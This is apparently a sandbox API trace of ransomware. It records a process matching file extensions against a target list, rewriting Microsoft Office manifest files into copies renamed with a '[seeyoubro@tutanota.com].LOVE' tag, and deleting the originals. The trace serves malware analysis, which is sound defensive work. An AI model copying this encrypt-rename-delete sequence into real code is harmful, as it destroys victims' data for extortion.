[0205.503] lstrlenW (lpString=".docx") returned 5 [0205.503] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.503] lstrlenW (lpString=".pdf") returned 4 [0205.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".xls") returned 4 [0205.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".xlsx") returned 5 [0205.503] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.503] lstrlenW (lpString=".ppt") returned 4 [0205.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.503] lstrlenW (lpString=".zip") returned 4 [0205.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.503] lstrlenW (lpString=".rar") returned 4 [0205.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".bz2") returned 4 [0205.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.503] lstrlenW (lpString=".7z") returned 3 [0205.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.504] lstrlenW (lpString=".dbf") returned 4 [0205.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.504] lstrlenW (lpString=".1cd") returned 4 [0205.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0205.504] lstrlenW (lpString=".jpg") returned 4 [0205.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.504] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.504] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0205.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.504] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3754) returned 1 [0205.504] CloseHandle (hObject=0x300) returned 1 [0205.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.505] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.505] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.506] GetLastError () returned 0x0 [0205.506] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xeaa, lpOverlapped=0x0) returned 1 [0205.705] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0205.832] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.832] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.832] SetEndOfFile (hFile=0x364) returned 1 [0205.832] CloseHandle (hObject=0x364) returned 1 [0205.848] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.848] SetEndOfFile (hFile=0x300) returned 1 [0205.849] CloseHandle (hObject=0x300) returned 1 [0205.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0205.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.850] lstrlenW (lpString=".doc") returned 4 [0205.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.850] lstrlenW (lpString=".docx") returned 5 [0205.850] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.850] lstrlenW (lpString=".pdf") returned 4 [0205.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.850] lstrlenW (lpString=".xls") returned 4 [0205.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString=".xlsx") returned 5 [0205.851] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.851] lstrlenW (lpString=".ppt") returned 4 [0205.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString=".zip") returned 4 [0205.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.851] lstrlenW (lpString=".rar") returned 4 [0205.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString=".bz2") returned 4 [0205.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString=".7z") returned 3 [0205.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString=".dbf") returned 4 [0205.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString=".1cd") returned 4 [0205.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString=".jpg") returned 4 [0205.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.851] lstrlenW (lpString=".doc") returned 4 [0205.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.851] lstrlenW (lpString=".docx") returned 5 [0205.851] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.852] lstrlenW (lpString=".pdf") returned 4 [0205.852] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString=".xls") returned 4 [0205.852] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString=".xlsx") returned 5 [0205.852] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.852] lstrlenW (lpString=".ppt") returned 4 [0205.852] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.852] lstrlenW (lpString=".zip") returned 4 [0205.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.852] lstrlenW (lpString=".rar") returned 4 [0205.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString=".bz2") returned 4 [0205.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString=".7z") returned 3 [0205.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.852] lstrlenW (lpString=".dbf") returned 4 [0205.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.852] lstrlenW (lpString=".1cd") returned 4 [0205.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0205.852] lstrlenW (lpString=".jpg") returned 4 [0205.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.853] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.853] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0205.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.853] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1261) returned 1 [0205.853] CloseHandle (hObject=0x300) returned 1 [0205.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.853] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.854] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.854] GetLastError () returned 0x0 [0205.854] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.865] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.866] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.866] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.867] SetEndOfFile (hFile=0x364) returned 1 [0205.867] CloseHandle (hObject=0x364) returned 1 [0205.868] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.868] SetEndOfFile (hFile=0x300) returned 1 [0205.868] CloseHandle (hObject=0x300) returned 1 [0205.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0205.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.869] lstrlenW (lpString=".doc") returned 4 [0205.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString=".docx") returned 5 [0205.869] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.869] lstrlenW (lpString=".pdf") returned 4 [0205.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString=".xls") returned 4 [0205.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString=".xlsx") returned 5 [0205.869] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.869] lstrlenW (lpString=".ppt") returned 4 [0205.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.869] lstrlenW (lpString=".zip") returned 4 [0205.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.869] lstrlenW (lpString=".rar") returned 4 [0205.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString=".bz2") returned 4 [0205.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.869] lstrlenW (lpString=".7z") returned 3 [0205.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.869] lstrlenW (lpString=".dbf") returned 4 [0205.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.870] lstrlenW (lpString=".1cd") returned 4 [0205.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.870] lstrlenW (lpString=".jpg") returned 4 [0205.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.870] lstrlenW (lpString=".doc") returned 4 [0205.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString=".docx") returned 5 [0205.870] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.870] lstrlenW (lpString=".pdf") returned 4 [0205.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString=".xls") returned 4 [0205.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString=".xlsx") returned 5 [0205.870] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.870] lstrlenW (lpString=".ppt") returned 4 [0205.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.870] lstrlenW (lpString=".zip") returned 4 [0205.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.870] lstrlenW (lpString=".rar") returned 4 [0205.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.870] lstrlenW (lpString=".bz2") returned 4 [0205.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.871] lstrlenW (lpString=".7z") returned 3 [0205.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.871] lstrlenW (lpString=".dbf") returned 4 [0205.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.871] lstrlenW (lpString=".1cd") returned 4 [0205.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0205.871] lstrlenW (lpString=".jpg") returned 4 [0205.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.871] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.871] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0205.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.871] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3375) returned 1 [0205.871] CloseHandle (hObject=0x300) returned 1 [0205.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.872] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.872] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0205.872] GetLastError () returned 0x0 [0205.872] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0205.898] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xd30, lpOverlapped=0x0) returned 1 [0205.899] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.899] WriteFile (in: hFile=0x364, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.899] SetEndOfFile (hFile=0x364) returned 1 [0205.899] CloseHandle (hObject=0x364) returned 1 [0205.900] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.900] SetEndOfFile (hFile=0x300) returned 1 [0205.900] CloseHandle (hObject=0x300) returned 1 [0205.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.901] lstrlenW (lpString=".doc") returned 4 [0205.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.901] lstrlenW (lpString=".docx") returned 5 [0205.901] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.901] lstrlenW (lpString=".pdf") returned 4 [0205.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.901] lstrlenW (lpString=".xls") returned 4 [0205.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.901] lstrlenW (lpString=".xlsx") returned 5 [0205.901] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.901] lstrlenW (lpString=".ppt") returned 4 [0205.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.901] lstrlenW (lpString=".zip") returned 4 [0205.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.901] lstrlenW (lpString=".rar") returned 4 [0205.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 